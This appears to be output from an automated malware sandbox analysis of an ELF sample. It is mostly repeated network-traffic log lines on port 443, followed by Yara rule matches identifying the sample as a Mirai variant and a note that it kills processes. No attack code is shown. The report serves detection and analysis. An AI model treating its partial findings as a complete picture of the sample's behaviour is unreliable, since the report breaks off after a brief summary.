Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 51192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48450
Source: unknown	Network traffic detected: HTTP traffic on port 45204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57332
Source: unknown	Network traffic detected: HTTP traffic on port 33450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57330
Source: unknown	Network traffic detected: HTTP traffic on port 48456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 57956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38636
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59522
Source: unknown	Network traffic detected: HTTP traffic on port 54572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35132
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47106
Source: unknown	Network traffic detected: HTTP traffic on port 36580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59528
Source: unknown	Network traffic detected: HTTP traffic on port 46918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57356
Source: unknown	Network traffic detected: HTTP traffic on port 44528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56020
Source: unknown	Network traffic detected: HTTP traffic on port 36988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47572
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39950
Source: unknown	Network traffic detected: HTTP traffic on port 51638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45390
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36442
Source: unknown	Network traffic detected: HTTP traffic on port 48538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55182
Source: unknown	Network traffic detected: HTTP traffic on port 39534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35594
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60522
Source: unknown	Network traffic detected: HTTP traffic on port 43398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53840
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37366
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60136
Source: unknown	Network traffic detected: HTTP traffic on port 47106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35186
Source: unknown	Network traffic detected: HTTP traffic on port 44304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35180
Source: unknown	Network traffic detected: HTTP traffic on port 43288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47158
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39534
Source: unknown	Network traffic detected: HTTP traffic on port 53910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49320
Source: unknown	Network traffic detected: HTTP traffic on port 60298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53862
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37338
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41838
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54728
Source: unknown	Network traffic detected: HTTP traffic on port 53840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56902
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37326
Source: unknown	Network traffic detected: HTTP traffic on port 59146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35154
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39582
Source: unknown	Network traffic detected: HTTP traffic on port 43350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49384
Source: unknown	Network traffic detected: HTTP traffic on port 48276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53800
Source: unknown	Network traffic detected: HTTP traffic on port 41214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59594
Source: unknown	Network traffic detected: HTTP traffic on port 44910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40566
Source: unknown	Network traffic detected: HTTP traffic on port 46722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 60872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50782
Source: unknown	Network traffic detected: HTTP traffic on port 37664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60102
Source: unknown	Network traffic detected: HTTP traffic on port 56430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44910
Source: unknown	Network traffic detected: HTTP traffic on port 60210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48038
Source: unknown	Network traffic detected: HTTP traffic on port 39758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36056
Source: unknown	Network traffic detected: HTTP traffic on port 56998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36058
Source: unknown	Network traffic detected: HTTP traffic on port 55546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40546
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52980
Source: unknown	Network traffic detected: HTTP traffic on port 45024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60122
Source: unknown	Network traffic detected: HTTP traffic on port 36224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41868
Source: unknown	Network traffic detected: HTTP traffic on port 44234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60128
Source: unknown	Network traffic detected: HTTP traffic on port 59294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56834
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43518
Source: unknown	Network traffic detected: HTTP traffic on port 39608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41330
Source: unknown	Network traffic detected: HTTP traffic on port 54728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40480
Source: unknown	Network traffic detected: HTTP traffic on port 48624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32856
Source: unknown	Network traffic detected: HTTP traffic on port 55824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52484
Source: unknown	Network traffic detected: HTTP traffic on port 57960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49294
Source: unknown	Network traffic detected: HTTP traffic on port 34688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55516
Source: unknown	Network traffic detected: HTTP traffic on port 53758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56842
Source: unknown	Network traffic detected: HTTP traffic on port 40862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38156
Source: unknown	Network traffic detected: HTTP traffic on port 35132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38158
Source: unknown	Network traffic detected: HTTP traffic on port 2135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49272
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32830
Source: unknown	Network traffic detected: HTTP traffic on port 55952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42634
Source: unknown	Network traffic detected: HTTP traffic on port 49010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51582
Source: unknown	Network traffic detected: HTTP traffic on port 56736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 52846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53766
Source: unknown	Network traffic detected: HTTP traffic on port 43518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51102
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42226
Source: unknown	Network traffic detected: HTTP traffic on port 59810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40044
Source: unknown	Network traffic detected: HTTP traffic on port 45666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52440
Source: unknown	Network traffic detected: HTTP traffic on port 52996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55950
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32894
Source: unknown	Network traffic detected: HTTP traffic on port 41750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44876
Source: unknown	Network traffic detected: HTTP traffic on port 45908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40034
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41364
Source: unknown	Network traffic detected: HTTP traffic on port 46054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35910
Source: unknown	Network traffic detected: HTTP traffic on port 34448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53302
Source: unknown	Network traffic detected: HTTP traffic on port 52400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45718
Source: unknown	Network traffic detected: HTTP traffic on port 57432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51130
Source: unknown	Network traffic detected: HTTP traffic on port 53714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45712
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42206
Source: unknown	Network traffic detected: HTTP traffic on port 36558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59090
Source: unknown	Network traffic detected: HTTP traffic on port 54306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42680
Source: unknown	Network traffic detected: HTTP traffic on port 55444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33726
Source: unknown	Network traffic detected: HTTP traffic on port 39562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52462
Source: unknown	Network traffic detected: HTTP traffic on port 59728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53798
Source: unknown	Network traffic detected: HTTP traffic on port 35910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47960
Source: unknown	Network traffic detected: HTTP traffic on port 53434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54260
Source: unknown	Network traffic detected: HTTP traffic on port 56156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55592
Source: unknown	Network traffic detected: HTTP traffic on port 57992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46626
Source: unknown	Network traffic detected: HTTP traffic on port 50844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45774
Source: unknown	Network traffic detected: HTTP traffic on port 43076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39098
Source: unknown	Network traffic detected: HTTP traffic on port 59560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60940
Source: unknown	Network traffic detected: HTTP traffic on port 45904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57308
Source: unknown	Network traffic detected: HTTP traffic on port 53124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59974
Source: unknown	Network traffic detected: HTTP traffic on port 48752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36806
Source: unknown	Network traffic detected: HTTP traffic on port 32910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40066
Source: unknown	Network traffic detected: HTTP traffic on port 33416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43576
Source: unknown	Network traffic detected: HTTP traffic on port 53800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45750
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54298
Source: unknown	Network traffic detected: HTTP traffic on port 52166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47924
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40058
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46672
Source: unknown	Network traffic detected: HTTP traffic on port 37168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55546
Source: unknown	Network traffic detected: HTTP traffic on port 46190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34688
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51192

System Summary

Malicious sample detected (through community Yara rule)

Source: N1msxMZ5Il.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: N1msxMZ5Il.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

